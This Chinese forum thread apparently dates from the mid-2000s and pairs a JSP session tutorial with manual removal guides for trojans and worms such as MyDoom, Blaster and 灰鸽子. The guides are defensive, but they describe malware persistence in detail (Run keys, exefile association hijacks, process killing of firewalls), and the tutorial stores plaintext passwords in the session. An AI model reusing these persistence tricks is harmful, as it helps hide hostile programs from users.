发新话题
打印

菜鸟升级一号专题(已完成)

关于session

甲是某个网站的会员,他要登入网站线上购物,他在login.jsp打上他的帐号密码,认证通过後,伺服器把它丢到list.jsp浏览网站上的货物,当他选好要买的货物後要订购了,伺服器又把它丢到buy.jsp处理订货的事宜。甲这个人只在login.htm打上帐号密码,伺服器透过login.jsp确认甲是个合法注册的会员,但是list.jsp和buy.jsp使用者不需要打帐号密码,伺服器要如何确认现在进来的甲还是乙?又或者有人根本就不从login.jsp进入网站,他直接从list.jsp或buy.jsp进来,那不就避过了帐号密码的检查?
  要解决这个问题,方法有很多,可以用html语法的<input type="hidden">的方法,或者是用cookie,但是以上两种方法的安全性还不够,应该用session来解决这个问题。刚才的问题,如果以session的流程来看,甲透过login.jsp进入网站,伺服器会给他一个独一无二的编号证明他就是甲(就好像每个人都有身份证字号,而且都不会重覆),如果是乙进来话,伺服器也给他一个独一无二的编号。这个独一无二的编号就是sessionID。这个sessionID会被送到使用者的浏览器内,当使用者到浏览其他网页时,浏览器会把这个sessionID送到伺服器,伺服器便可以比对现在来的是甲或是乙。

1.如果你想要看你的sessionID长什么样子,语法应该这么写
 session.getId();

2.甲或乙进入网站,服务器都会分配每个人一个session,每个人都不会重复,甲是会员,输入了帐号密码後顺利通过验证,这个服务器可以在他的session上做个记号,表示他通过了验证,
  session.setAttribute("LogOk","yes");
这个意思是说,服务器在甲的session内放了一个LogOk的属性,它的值是"yes"。当然也还可以放别的东西,譬如说把甲输入的帐号密码放进去
 session.setAttribute("userid","甲所输入的帐号");
 session.setAttribute("userpass","甲所输入的密码");
(请注意,这些Attribute的信息都是存在Server内,不会被送到使用者的浏览器内,会送到浏览器的只有sessionID而已。如此才能保障相关资料不被人窃取。)
甲通过验证後,伺服器便把它导向到list.jsp做处理。(response.sendRedirect("list.jsp");)乙不是会员,当他从login.jsp进去後,没办法通过验证,於是被导向回login.jsp重新输入密码(response.sendRedirect("login.jsp");)

3.甲被导向到list.jsp,list.jsp怎麽知道甲通过了验证,而且怎麽证明它是甲呢?可以透过下面方法把刚才在session上所做的记号取出来
 String LogOk=(String)session.getAttribute("LogOk");
 String userid=(String)session.getAttribute("userid");
 String userpass=(String)session.getAttribute("userpass");
透过getAttribute取得LogOk的值,去检查一下LogOk是否等于"yes"就知道这个人有没有通过验证了,另外也取得了甲输入的帐号及密码,可以去资料库比对现在进来的是否是甲这个人。
(要注意的是session.getAttribute("")的前面,在这个例子来讲,要加(String),因为透过setAttribute的方式存进session内的是个物件(Object),取出来时,要明确告诉java它是什麽物件,所以要用(String)session.getAttribute("LogOk")。同理,如果在存进session时是是存一个ResultSet,那取出来便要用(ResultSet)session.getAttribute("....");)
而乙这个人呢,还不死心,login.jsp进不来,他还想骇进来,直接打list.jsp,同样的,程式从session内找出是否有LogOk,它的值是不是等於"yes",如果不是,很抱歉,又把它导回到login.jsp。

透过session的方式,可以做到对同一个使用者在不同的网页之间资料的分享。基本上来说,tomcat对每一个网页进来的人都会建立session,其有效时间内定为30分钟,如果超过三十分钟使用者都没有再浏览任何网页,其sessionID便会失效,当然在session内所设定过属性也会消失。使用者再重新进来,便是另一个session了。
以下的session方法,各位可以参考看看:
session.setAttribute("属性名",属性值)----将资料存入session
session.getAttribute("属性名");----从session取得资料
session.setMaxInactiveInterval("秒数");---设定session的有效执行时间(单位:秒)
session.getMaxInactiveInterval();----取得session的有效执行时间(单位:秒)
session.isNew();----判断这个session是不是新的,是的话传回true,否则传回false
session.invalidate();----强制session中断,常用在使用者登出时
session.getCreateTime();----取得session建立的时间,其值为long值。
session.getLastAccessedTime();----取得session最後的存取时间

另外,如果有些网页,根本就不需要建立session,要如何把它关掉?应该在page的地方设定session="false"
例:<%@ page contentType="text/html;charset=big5" session="false" %>
如此,这个网页便不会建立任何session

TOP

关于木马的手工清除

在看文章之前:我想说前几天由于我个人的疏忽,接了一个广告。但是我完全不知道其站包含木马?只能说隐藏的非常的好,单看源代码是根本找不出,并且代码还经过加密。后来经过我再三的研究才发现。但是我知道这已经导致很多网吧中了木马,我也完全无能为力,所以只能提供这篇文章针对我犯的错误。打奇迹的朋友不用担心,改木马是完全针对传奇的!所以请网吧管理员进行手动清楚,以免后来者倒霉。

PWSteal.Lemir.Gen 还分好几种变种,以下是针对Expl0rer.exe,另外可能进程中还有是internet.exe这种。
首先下载:最新木马查杀软件进行检查 http://www.57sf.com/9_repentip/News200403210583.htm这里提供的都是很不错的。

另外介绍手工清楚方法,可以不通过软件。
* 提示:PWSteal.Lemir.Gen 是对一类窃号木马的统称,这个方法只适用于木马主本文件为 Expl0rer.exe 的 PWSteal.Lemir.Gen 木马,在使用此方法前请先确保自己遇到的是这个木马才可以

有许多用户反应一些杀毒软件在发现 PWSteal.Lemir.Gen(SysModule32.DLL,SysModule64.DLL) 木马后遇到无法隔离、删除或是清除后反复出现的问题。下面就告诉大家一个清除此木马简单有效的方法:

由此此木马会将自己注册为系统 Explorer 组件,即使删除后也会自动生成,所以一般的杀毒软件较难直接清除掉它,但费尔托斯特安全可以完全彻底清除掉此木马,并且删除后不会再次出现,所以如果手上有费尔托斯特安全的正式版可以使用它删除(建议先升级到最新版的病毒库)。如果没有也可以用下面的方法手工清除它(注意以下方法测试于Windows2000/XP/2003/NT,9x/me下可能有些略有不同,这时建议使用费尔托斯特安全清除):

一、请先去把系统设置为“显示隐藏文件”,因为病毒以隐藏属性伪装,不做此设置将无法看到它,设置的方法如下(如果系统已经做了此设置可以跳过这一步):

打开“我的电脑”;
依次打开菜单“工具/文件夹选项”;
然后在弹出的“文件夹选项”对话框中切换到“查看”页;
去掉“隐藏受保护的操作系统文件(推荐)”前面的对钩,让它变为不选状态;
在下面的“高级设置”列表框中改变“不显示隐藏的文件和文件夹”选项为“显示所有文件和文件夹”选项;
去掉“隐藏已知文件类型的扩展名”前面的对钩,也让它变为不选状态;
最后点击“确定”。

二、按“Ctrl+Alt+Del”键弹出任务管理器,找到EXPL0RER.EXE进程(注意第5个字母是数字0不是字母O),找到它后选中它并点击“结束进程”以结束掉木马进程。然后迅速做下面一步,只所以要迅速是因为如果动作慢的话,木马可能会自动恢复而再次运行起来,这样就无法删除掉其他木马文件了(如果EXPL0RER.EXE进程再次运行起来需要重做这一步);

三、打开资源管理器进入到 “系统目录\Winnt\System32”下(如果您的win2000/nt/xp安装在C盘则就是 C:\Winnt\System32)。找到EXPL0RER.EXE文件(注意第5个字母是数字0不是字母O)、SysModule32.dll文件,然后直接删除它们。如果这时报告“文件正在使用无法删除”的类似提示则说明木马已经再次恢复了,需要从第二步开始重复做,并且从第二步到第三步一定要迅速,这里建议可以先打开资源管理器选中这几个待删除的文件,在做第二步即刚结束掉EXPL0RER.EXE进程后马上转过来删除这2个文件,这样一般就可以成功了;

四、同样在 “系统目录\Winnt\System32”目录下找到 SysModule64.dll 文件,尝试删除它,不过如果这时报告“此文件正在使用中无法删除”等类似提示也没有关系,稍后在第七步将介绍如何删除此文件;

五、打开资源管理器进入到 “系统目录\Winnt”下,找到一个 MFCD3O.DLL 文件,手工删除它;

六、打开“开始/运行”,输入“regedit”后“确定”以打开注册表编辑器,找到“HKEY_CLASSES_ROOT\CLSID\{081FE200-A103-11D7-A46D-C770E4459F2F}”键,把整个“{081FE200-A103-11D7-A46D-C770E4459F2F}”键全部删除。

七、注销当前用户或重新登录或重启电脑。之后再按第四步的方法删除掉 SysModule64.dll 文件,如果一切正常此时应该可以删除掉它了。

至此,如果一切顺利 PWSteal.Lemir.Gen 木马就应该完全从您系统中清除干净了。



Backdoor.D.WinSys





最近网络中总是充斥着一种网页木马 Backdoor.D.WinSys,此木马是以隐藏在网页中来传播的,并且主要是在一些音乐、电影网站中,只要用户访问这种网页就会自动下载并生成隐藏文件 WINSYS.cer、WINSYS.vbs 木马文件,接着会执行它,并且会在下次电脑启动时再次自动执行,由于隐藏在网页中所以流传甚广,危害很大。
不过费尔托斯特安全用户只要平时注意打开实时防护一般都可以有效阻止它的感染。但现在有一些新的传播形式,可以逃过检查,现在告诉大家一个窍门,使用此方法不但可以阻止这个木马而且可以极为有效的阻止这一类木马的感染和传播(费尔托斯特安全的未注册版用户虽然在发现此木马时不显示具体的名称,但使用下面的方法设置后同样可以起到防护作用):
<br>费尔托斯特安全用户解决办法(未注册版同样有效): <br>
<br>打开费尔托斯特安全的“文件”面板 <br>在左边的“实时扫描文件类型”中分别手工新增 PL、HTR、HTA、CER 文件类型
<br>重启费尔托斯特安全(停止托斯特-&gt;启动托斯特)
<br>这样,当再访问到含有这类破坏代码的网页时就会被费尔托斯特安全实时拦截到 HTML.Shell.Virus 病毒并报警,从而阻止它的运行。 <br>
<br>普通用户解决办法: <br>
<br>先手工把这个 C:\$NtuninstallqXXXXXX$ 目录整个删除,这里要注意这个目录的一般并不固定,但它的总体形式一般总是“$NtuninstallqXXXXXX”的形式。如果您在资源管理中看不到也许是因为您的系统没有打开“查看隐藏文件”的设置,请再这样设置一下:
<br>打开“我的电脑”
<br>依次打开菜单“工具/文件夹选项”
<br>然后在弹出的“文件夹选项”对话框中切换到“查看”页 <br>在下面的“高级设置”列表框中改变“不显示隐藏的文件和文件夹”选项为“显示所有文件和文件夹”选项
<br>最后点击“确定”
<br>做了这几步后您再找一下这个形式的目录,如果找到就把它整个删除掉 <br>在“开始/运行”中运行 regedit.exe 命令打开注册表编译器,然后直接 F3 键打开搜索窗口,并选择“查看“中的”“项”、“值”、“数据”项,在中间输入“winsys.cer”并搜索。这样只要在注册表中发现有此内容的您全部把它删除掉,直到搜索完毕找不到有关值。
<br>在未联接到 Internet 的情况下打开IE,并依次打开“工具/Internet选项/删除文件”,然后在弹出的对话框中选中“删除所有脱机内容”选项,然后点击“确定”。做完这一步之后先别着急关闭这个“Internet选项”对话框,请接着按下面的步骤继续做
<br>查看“Internet选项”对话框中“主页”处的地址,如果它不是您自己设置的网站主页或是一个非常陌生的网址则记下这个网址(只记 http:// 之后的内容,可以用鼠标选中后使用 Ctrl+C 键直接复制),然后按照第2步的方法从注册表全部搜索出并删除有关这个网址的注册表键或值
<br>这样就可以清除掉此木马了。





Backdoor.livup(msstart.exe)





最近有许多用户反应一些杀毒软件在发现 Backdoor.livup(msstart.exe) 木马后遇到无法隔离、删除或是清除后反复出现的问题。下面就告诉大家一个清除此木马简单有效的方法: <br>
<br>费尔托斯特安全可以完全彻底清除掉此木马,如果手上有它的正式版可以使用它删除(建议先升级到最新版的病毒库)。如果没有也可以用下面的方法手工清除它(注意以下方法测试于Windows2000/XP/2003/NT,9x/me下可能有些略有不同,这时建议使用费尔托斯特安全清除): <br>
<br>一、请先去把系统设置为“显示隐藏文件”,因为病毒以隐藏属性伪装,不做此设置将无法看到它,设置的方法如下(如果系统已经做了此设置可以跳过这一步): <br>
<br>打开“我的电脑”;
<br>依次打开菜单“工具/文件夹选项”;
<br>然后在弹出的“文件夹选项”对话框中切换到“查看”页;
<br>去掉“隐藏受保护的操作系统文件(推荐)”前面的对钩,让它变为不选状态; <br>在下面的“高级设置”列表框中改变“不显示隐藏的文件和文件夹”选项为“显示所有文件和文件夹”选项;
<br>去掉“隐藏已知文件类型的扩展名”前面的对钩,也让它变为不选状态; <br>最后点击“确定”。 <br>
<br>二、按“Ctrl+Alt+Del”键弹出任务管理器,找到名是“msstart.exe”的进程,找到后选中它并点击“结束进程”以结束掉木马进程; <br>
<br>三、打开资源管理器进入到 “系统目录\Winnt\System32”下(如果您的win2000/nt/xp安装在C盘则就是 C:\Winnt\System32),找到 msstart.exe 文件然后直接删除它;或者您也可以通过系统搜索(窗口键+F)功能来找出系统中所有的 msstart.exe 文件,然后全部删除掉。 <br>
<br>至此,如果一切顺利您就应该可以清除掉此木马了。





Backdoor.PWStealer




费尔托斯特安全可以完全清除掉此病毒(托斯特显示病毒名为“Backdoor.PWStealer”),如果手上有它的正式版可以使用它扫描并删除。如果当前没有也可以用下面的方法手工清除它(注意以下方法测试于Windows2000/XP/2003/NT,9x/me下可能有些略有不同,这时您可以使用费尔托斯特安全清除): <br>
<br>一、请先去把系统设置为“显示隐藏文件”,因为病毒以隐藏属性伪装,不做此设置将无法看到它,设置的方法如下(如果系统已经做了此设置可以跳过这一步): <br>
<br>打开“我的电脑”;
<br>依次打开菜单“工具/文件夹选项”;
<br>然后在弹出的“文件夹选项”对话框中切换到“查看”页;
<br>去掉“隐藏受保护的操作系统文件(推荐)”前面的对钩,让它变为不选状态; <br>在下面的“高级设置”列表框中改变“不显示隐藏的文件和文件夹”选项为“显示所有文件和文件夹”选项;
<br>去掉“隐藏已知文件类型的扩展名”前面的对钩,也让它变为不选状态; <br>最后点击“确定”。 <br>
<br>二、打开“开始/运行”,输入“regedit”后“确定”以打开注册表编辑器,进入到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run键下,在右边列中,找到一个名为“;Rundll”的值,如果找到请双击打开看,查看并记下“数值数据”中指示的文件及路径名,一般为“C:\WINNT\System32\XXXX.exe”的形式(但并不固定,这要根据具体的环境而变化),注意其中的“XXXX.exe”代表的是任意值,并不固定,而不是4个X,所以这时一定要记清这个“XXXX.exe”所代表的文件名,记下后然后从注册表中删除这个“;Rundll”值; <br>
<br>三、按“Ctrl+Alt+Del”键弹出任务管理器,找到在上面第二步中记下的“XXXX.exe”的进程(注意这里的XXXX.exe是具体的名称而不是4个X)。找到有相同的进程后选中它并点击“结束进程”以结束掉木马进程; <br>
<br>四、打开资源管理器进入到 “系统目录\Winnt\System32”下(如果您的win2000/nt/xp安装在C盘则就是 C:\Winnt\System32)。找到XXXX.exe和XXXX.dll文件然后直接删除它们(当然,这里的XXXX所代表的仍然不是4个X,而是具体的名称);如果在删除过程中发现XXXX.dll删除不掉,而是报告“文件正在使用中无法删除”,则可以注销或重启一下电脑,然后再按此方法找到并删除它就可以了。 <br>
<br>至此,如果一切顺利您就应该可以清除掉此木马了。





TrojanDownloader.Win32.Dyfuca.o




最近有许多用户反应一些杀毒软件在发现一个名为 TrojanDownloader.Win32.Dyfuca.o 的木马后遇到无法删除的问题,或者是出现要求用户解压后再清除木马的提示,下面就告诉大家一个清除此木马的方法: <br>
<br>费尔托斯特安全是可以清除此木马的及它的压缩包的(费尔托斯特安全报告名称为 ActiveX.Muldist.AutoDownRun),并且无须解压,如果手上有它的正式版可以使用它删除(建议先升级到最新版的病毒库)。如果没有也可以用下面的方法手工清除它(注意以下方法测试于Windows2000/XP/2003/NT,9x/me下可能有些略有不同,这时建议使用费尔托斯特安全清除),不过这需要分 3 种情况,操作时请按自己的情况选择相应的处理办法: <br>
<br>一、不知道自己是否感染此木马或杀毒软件报告此木马是在 %windir%\Downloaded Program Files 目录下的情况。注意其中的 %windir% 代表的是您Windows的安装目录,比如:如果您使用的是Windows98/Me并且安装在C盘则此目录应该是C:\Windows\Downloaded Program Files;如果是Windows2000/XP/20003并且安装在D盘,则目录应该是D:\WINNT\Downloaded Program Files。如果是这种情况请按下面的方法做: <br>
<br>依次打开IE的 工具/Internet选项/“Internet临时文件”处的“设置”/查看对象; <br>在打开的列表中查找一个“程序文件”是“MultiDist”的项目,如果找不到就不用继续了,请参考其他情况下的处理办法;如果找到它则在它名子上点右键,接着在弹出的菜单中点“删除”;
<br>重新启动计算机;
<br>依次打开 开始/运行 ,输入 cmd 后确定(这是在NT/2000/XP/2003下,9x/Me下请输入 command),进入到命令行模式,然后用DOS命令进入到 %windir%\Downloaded Program Files 目录下,找到 MulDist.ocx 文件后用del命令删除它。这里需要提醒一下,如果在此目录中找不到这个文件请进入到当前目录下的各个子目录中找找,找到后删除。
<br>这样此木马就清除掉了,不过如果杀毒软件报告木马不是在 %windir%\Downloaded Program Files 目录下而是在 “系统目录:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\...” 目录下(如果您的win2000/nt/xp安装在C盘则就是 C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5)请使用下面的第2种方法清除它: <br>
<br>二、操作系统使用的是Windows2000/XP/2003,并且杀毒软件报告此木马是在 系统目录:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\XXXX 目录下的情况。注意其中的“系统目录”代表的是您Windows2000/XP/2003安装的盘符,比如:如果您的win2000/nt/xp安装在C盘则就是 C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\XXXX ,并且Content.IE5后面的XXXX代表的是不确定的子目录,不同的系统下情况都会不同,这可以根据杀毒软件的具体提示来确定,在记下这个目录及文件名后请按下面的方法做: <br>
<br>依次打开 开始/运行 ,输入 cmd 后确定(这是在NT/2000/XP/2003下),进入到命令行模式;
<br>在命令行模式下进入到这个 系统目录:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\XXXX 目录中,找到杀毒软件提示的那个文件,找到后直接用del命令删除它就行了。 <br>
<br>三、木马不是在上面任何一种目录中的情况: <br>
<br>这个方法最简单,用资源管理器找到文件后直接删除它就行了,而不用在意杀毒软件的“解开再同清除”的提示,直接删除相应的cab或ocx文件都可以。 <br><br>至此,如果一切顺利您就应该可以清除掉此木马了。
<br>特别提示:此木马实际上算不上一个木马,而只是一个下载并有自动执行特定文件的组件程序,它本身也许并没有危害,但常常被一些不怀好意的网站来传播木马,并且此组件在安装到系统时是象Flash组件一样会做出是否安装的询问的(除非自己的IE安全级别设置太低),但还是有很多用户由于不注意而选择了“是”才导致安装了它,从而为以后的木马打开了方便之门。
<br>因此在此特别提醒大家:上网期间如果遇到提示是否安装某某程序或组件的时候,即使提示程序已经经过认证,但只要自己对它不熟悉也最好不要选“是”。另外还至少要把自己IE的安全级别设置为“中”即“默认级别”。 <br><br> <br>





W32.Novarg@mm(Novarg.A/MyDoom.A/Shimgapi)




手工彻底清除 W32.Novarg@mm(Novarg.A/MyDoom.A/Shimgapi) 病毒的方法 作者:费尔安全实验室(原创), 日期:2004/1/30. 若转载请注明引自"费尔安全实验室"
2004.1.27 日爆发的新病毒 W32.Novarg@mm(又名:Novarg.A@mm, MyDoom.A, Shimgapi) 近期造成了大规模的破坏,影响范围之广、传播速度之快毫不逊于前段时间臭名昭著的 Sobig.F(大无极) 病毒,目前它还在疯狂的传播中,已经造成了严重的网络阻塞。费尔托斯特安全的病毒码自 v508400(2004.1.29) 版起就可完全清除掉此病毒及相关的主要注册表信息,并且费尔托斯特安全的实时防护功能可以有效防止此病毒附件的保存与执行,如果用户手上有它的正式版可以使用它进行扫描删除,如果当前没有也可以用下面的方法手工清除它:

* 注意:以下方法适用于Windows2000/XP/2003/NT系统,9x/me下可能略有不同,这时可以使用费尔托斯特安全进行清除。

(A) 如何防止感染 W32.Novarg@mm/MyDoom.A/Shimgapi 病毒

此病毒主要是以邮件进行传播的,如果在收取邮件时发现有如下特征的邮件建议立即删除:
邮件主题为下面其中之一:Test, Hi, Hello, Mail Delivery System, Mail Transaction Failed, Server Report, Status, Error
邮件的正文有时为随机乱码数据,有时为下面其中之一:
The message contains Unicode characters and has been sent as a binary attachment.
The message cannot be represented in 7-bit ASCII encoding and has been sent as a binary attachment.
Mail transaction failed. Partial message is available.
test

邮件含有附件,并且附件名为下面其中之一:document, readme, doc, text, file, data, test, message, body,同时附件的扩展名为下面其中之一:zip, bat, cmd, exe, scr, pif
这样基本就可以防止受到此病毒的感染和破坏了。如果系统已经感染或怀疑感染此病毒则可以接着用下面的方法尝试清除它。
(B) 如何手工清除系统中的 W32.Novarg@mm/MyDoom.A/Shimgapi 病毒:

一、请先把系统设置为“显示所有的文件和文件夹”,因为这样防止病毒以隐藏属性伪装,而无法找到它,设置的方法如下(如果系统已经做了此设置可以跳过这一步):

打开“我的电脑”;
依次打开菜单“工具/文件夹选项”;
然后在弹出的“文件夹选项”对话框中切换到“查看”页;
去掉“隐藏受保护的操作系统文件(推荐)”前面的对钩,让它变为不选状态;
在下面的“高级设置”列表框中改变“不显示隐藏的文件和文件夹”选项为“显示所有文件和文件夹”选项;
去掉“隐藏已知文件类型的扩展名”前面的对钩,也让它变为不选状态;
最后点击“确定”。
二、打开“开始/运行”,输入“regedit”后“确定”以打开注册表编辑器,进入到 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 键下,在右边列中,看是否有一个名为“TaskMon”的键值,如果找不到则说明系统中可能没有感染此病毒,可以跳过这一步,不过为了防止万一建议继续执行后面的步骤;如果发现有此值则请双击打开它,查看并记下“数值数据”中指示的文件及路径名,一般为“C:\WINNT\System32\taskmon.exe”(但并不固定,这要根据具体的操作系统类型及安装路径来确定,比如如果当前使用的是Win98系统并且是安装在D盘上则应该为“D:\Windows\System\taskmon.exe”),在记下这个路径后从注册表中删除这个“TaskMon”值;

然后继续用注册表编辑器尝试查找一下 HKEY_CLASSES_ROOT\CLSID\{E6FB5E20-DE35-11CF-9C87-00AA005127ED} 键,如果能够找到则把整个 {E6FB5E20-DE35-11CF-9C87-00AA005127ED} 键删除;

三、按“Ctrl+Alt+Del”键弹出任务管理器,查找一下看是否有一个名为“taskmon.exe”的进程,找到后选中它并点击“结束进程”以结束掉病毒进程;

四、打开资源管理器进入到在第二步中记下的路径,找到taskmon.exe和shimgapi.dll文件然后直接删除它们。

至此,如果一切顺利您就应该可以清除掉此病毒了。





手工清除广外女生方法   diagcfg.exe




1.广外女生木马是一个驻留、启动方法比较典型性的木马,我以win2000为例直接切入正体。
如果一不小心运行了广外女生木马服务端会在C:\winnt\system32目录下增加一个文件“diagcfg.exe”,你也可以打开任务管理器查看,会发现其中有一个DIAGCFG。EXE的进程,这就是木马原身。但这时千万不能直接删除diagcfg.exe,否则系统就无法正常运行了。

再到注册表看看他到底藏在哪儿。(用注册表监察工具regsnap查出,在此不在累述过程,因为这不是本文重点)
HKEY_LOCAL_MACHINE\software\classes\exefile\shell\open\command\
old value:string""%1" %*"
new value:string:"C:\winnt\system32\DIAGCFG.EXE "%1" %*"

这个键值由原来的"%1" %*被修改为了C:\winnt\system32\DIAGCFG.EXE "%1" %*,广外女生为什么要这样修改呢?有什么作用呢?
这就是运行可执行文件格式,被改为C:\winnt\system32\DIAGCFG.EXE "%1" %*之后每次再运行可执行文件时都要先执行C:\winnt\system32\DIAGCFG.EXE 这个程序。

他的启动方法与一般木马不太一样,一般木马是在HKEY_\software\microsoft\windows\CurrentVersion\Run键值里加载自己的启动项目,但这种方式被杀毒软件所熟知,所以很容易查杀。而广外女生就比较狡猾了,他把启动项目设在了另外的位置,这也就是杀毒软件不容易查杀他的原因之一。

2.好了,现在就开始手工清除他了,睁大眼睛看着!
注意:清除广外女生木马的步骤次序不能颠倒,否则无法彻底清楚此木马!!!

⑴.开始/运行/“regedit”/确定。打开注册表。
HKEY_LOCAL_MACHINE\software\classes\exefile\shell\open\command\,先不要修改,因为如果这时修改注册表的话,diagcfg.exe进程仍然会立即把他改回来。

⑵.打开“任务管理器”,找到diagcfg.exe进程,选中他按“结束进程”来关掉这个进程。注意:一定也不要先关进程再打开注册表,否则执行regedit.exe时又会启动diagcfg.exe。前功尽弃!

⑶.把HKEY_LOCAL_MACHINE\software\classes\exefile\shell\open\command\的键值由原来的 C:\winnt\system32\DIAGCFG.EXE "%1" %*改为“%1” %* 。

⑷.这时就可以删除C:\winnt\system32\目录下的diagcfg.exe了。切记不可先删除这个文件,否则,就无法在系统中运行任何可执行文件了。

后述:广外女生木马后台监听端口为6267(默认),至于如何用fport查找广外女生木马端口和该木马如何查找snfw.exe、kav9x.exe的进程,也就是“天网防火墙”和“金山毒霸”的进程,然后将其杀掉。在此我就不多罗嗦了,因为本人很笨,至今还在用“一指禅”在键盘上乱戳,太辛苦了………………
欢迎转贴,如果愿意转贴就请保留我的名字。有不对的地方请朋友们指出,谢谢!


##############################################


广外女生的几种清除方法:


①:上文有图标出。——建议使用!


②:杀毒软件(升级最新病毒库,金山毒霸可以识别广外女生1.5c。)


③:修改注册表(摘自木马帝国)

 1、由于该木马程序运行时无法删除该文件,因此启动到纯DOS模式下,找到System目录下的DIAGFG.EXE,删除它

  2、由于DIAGCFG.EXE文件已经被删除了,因此在Windows环境下任何.exe文件都将无法运行。我们找到Windows目录中的注册表编辑器“Regedit.exe”,将它改名为“Regedit.com”;

  3、回到Windows模式下,运行Windows目录下的Regedit.com程序(就是我们刚才改名的文件);

  4、找到HKEY_CLASSES_ROOT\exefile\shell\open\command,将其默认键值改成"%1" %*;

  5、找到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersion\ RunServices,删除其中名称为“Diagnostic Configuration”的键值;

  6、关掉注册表编辑器,回到Windows目录,将“Regedit.com”改回“Regedit.exe”。

  7、完成。

终于甩掉了广外女生。容易吗我!



********************************************************
我以前总是弄不明白这个木马的名字从何而来
前两天看帖子,原来是广东外贸学院女生网络组(大概是这个名字)
MM写的哦,真是厉害




把灰鸽子赶尽杀绝

注意:以下清除顺序不可以随意调整。





1.删除灰鸽子服务端程序
由于在Windows环境下灰鸽子的服务端是处于运行状态,无法直接删除,所以必须进入纯DOS状态删除,删除命令如下:
cd c:\windows\system
attrib-r-s-h kernel32.exe
attrib-r-s-h notepod.exe
del kernel32.exe
del notepod.exe
还要注意,如果灰鸽子服务端设置了exe 文件关联的话,将会导致注册表编辑器无法运行,所以在删除服务端之前,先将注册表编辑器重命名,以便以后对注册表进行更改,操作命令如下:
ren c:\windows\regedit.exe regedit.com


2.删除注册表中启动键
由于我们改了注册表编辑器名称,所以要打开注册表编辑器应为:打开”开始“菜单”中的“运行”然后输入“regedit.com".启动注册表编辑器后,依次打开“HKEY—LOCAL—MACHINE\Software\Microsoft\windows\Current Version\Run",在右边的窗口中删除名称为”Loadwindows"的键值就可以了。

--------------------------------------------------------------------
清除文件关联
灰鸽子可以设置4种文件关联:exe关联,txt关联,ini关联,inf关联,其中exe关联可以和其他三种类型同时存在。

1.解除exe关联:
启动注册表编辑器,然后找到HKEY—CLASSES—ROOT\Exefile\shell\Open\Cpmmand主键,查看起默认的键值是不是系统默认的“%1%*”,如果被修改,则改成默认值.
2.解除txt关联:
打开注册表的HKEY—CLASSES—ROOT\txtfile\shell\open\command主键,其默认值的正常参数应该为“C:\windows\notepad.exe%1",如果不是,请修改为正确数据。
3.解除ini关联:
INI文件的的关联配置保存在注册表HKEY—CLASSES—ROOT\Inffile\shell\Open\Cpmmand主键下,其默值数据也是“C:\windows\notepad.exe%1”,如果被修改的话,也要改回来。
4解除inf关联:
打开注册表的HKEY—CLASSES—ROOT\Inffile\shell\Open\Cpmmand主键,和ini,txt文件关联一样,其默认值也是“C:\windows\notepad.exe%1”,如果被修改,也要立刻改回正确的数据。
至此,灰鸽子已经被你彻底扫地出门了,你不再担心成为别人"盘中餐”了。




查杀“冲击波”



“冲击波”病毒仍在肆虐,并且正改头换面躲避“追杀”。今天8时30分,“冲击波”病毒的两个最新变种被截获,分别命名为:冲击波Ⅱ(Worm.Blaster.B)、冲击波Ⅲ(Worm.Blaster.C)。公安部计算机病毒应急处理中心截至昨天已接到1.5万个求助电话。全球最大的互联网安全技术与解决方案供应商赛门铁克公司称,截至目前已经发现超过12.7万台电脑系统被感染,这个数字正在成倍增长。被“冲击波”病毒击中的电脑总是在启动1分钟后就反复重启,让人无法下载杀毒工具或打补丁。


  反病毒专家介绍了两种办法:先将网络断开,使用启动盘,在DOS环境下清除病毒。用DOS系统启动盘启动进入DOS环境下,进入C盘的操作系统目录(操作命令集:C:;CDC:\windows或CDc:\winnt);查找目录中的“msblast.exe”病毒文件(操作命令集:dirmsblast.exe/s/p);找到后进入病毒所在的子目录,然后直接将该病毒文件删除(Delmsblast.exe)。

  先将网络断开,进入安全模式,搜索C盘,查找msblast.exe文件,找到后直接将该文件删除,然后再次正常启动计算机。当用户手工清除病毒体后,应上网下载相应的补丁程序,可以先进入微软网站,下载相应的系统补丁。

  选中使用IP包过滤技术,添加TCP、UDP的135、139、445端口,最新捕获得的"新流言"病毒还要关闭TCP4444和UDP69端口。

http://www.microsoft.com/china/t ... lletin/MS03-026.asp

被“冲击波”病毒感染的机器,最常见的现象就是系统在启动1分钟后就反复重启,用户这时候根本就没有时间上网去下载专杀工具或打补丁,那该怎么办呢?瑞星反病毒专家告诉你一个办法,让你在一分钟之内搞定系统。

  一、使用启动盘,在DOS环境下清除病毒。1.当用户中招出现以上现象后,用DOS系统启动盘启动进入DOS环境下,进入C盘的操作系统目录.操作命令集:C:CD C:\windows (或CD c:\winnt)

  2.查找目录中的“msblast.exe”病毒文件。命令操作集:dir msblast.exe /s/p

  3.找到后进入病毒所在的子目录,然后直接将该病毒文件删除。Del msblast.exe

  二、进入安全模式,手工清除病毒如果用户手头没有DOS启动盘,还有一个方法,就是启动系统后进入安全模式,然后搜索C盘,查找msblast.exe文件,找到后直接将该文件删除,然后再次正常启动计算机即可。

  三、当用户手工清除了病毒体后,应上网先进入微软网站,下载相应的系统补丁,给系统打上补丁。

  四、打完补丁后,用户应下载一个瑞星专杀工具,再次清除一下系统,然后到瑞星网站将瑞星杀毒软件升级到最新版,打开实时监控。

  五、如果用户在手工清除完病毒后,一上网就再次感染病毒并重启,这时就只能再次手工清除病毒,然后通过非上网的方式给系统打补丁,然后再做其它操作。

  此外,不少用户下了微软“冲击波”补丁后打不上去,原因是没有打过SP2以上的补丁包,此处是SP4的下载地址集合。




热门病毒:“高速路”病毒

  (TrojanSpy.Win32.Superway.d.enc):警惕程度★★★☆,监控型木马病毒,通过网络传播,依赖系统: WIN9X/NT/2000/XP。病毒启动后病毒会将自己安装到系统目录下(C:\WINDOWS或C:\WINNT目录)并修改注册表的自启动项,在“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”中加入“TaskMontier= C:\WINNT\Mon.exe”的键值,
